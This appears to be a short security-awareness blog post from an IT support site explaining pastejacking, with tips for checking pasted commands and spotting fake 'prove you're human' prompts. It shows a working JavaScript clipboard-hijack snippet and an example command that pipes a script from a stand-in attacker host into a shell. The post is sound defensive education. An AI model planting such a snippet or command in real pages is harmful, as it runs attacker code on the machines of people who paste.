Say you find a website with a handy command, so you copy it and paste it into your terminal to save typing it out. Sensible, right?
Not always. Visit this demo page, copy the sudo apt update text, and paste it into the box underneath. What actually pastes is curl http://attacker-domain:8000/shell.sh | sh, followed by a new line, which would run the command straight away in a real terminal.
How pastejacking works
This trick is called pastejacking. A bit of JavaScript on the page listens for you copying (using an event listener) and swaps what goes on your clipboard for something else:
<script>
document.getElementById('copy').addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain', 'curl http://attacker-domain:8000/shell.sh | sh\n');
e.preventDefault();
});
</script>You see one thing on the page, but you paste something completely different.
The fake “verify you’re human” trick
The most common version now is a fake check that says something like “Press Windows key + R, then Ctrl+V, then Enter to prove you’re human”. The page has already put a harmful command on your clipboard. No real website ever asks you to do this, so close the page.
How to stay safe
- Paste commands into Notepad first and read exactly what’s there before running anything.
- Be wary of anything that ends in a new line, as it runs as soon as you paste it.
- Only copy commands from sites you trust, and type short ones out yourself.
- Never paste something into the Run box or a terminal because a website told you to.
Worried about scams? On TNNY IT, my IT support site, I’ve written a plain-English guide to spotting a scam call, email, or text.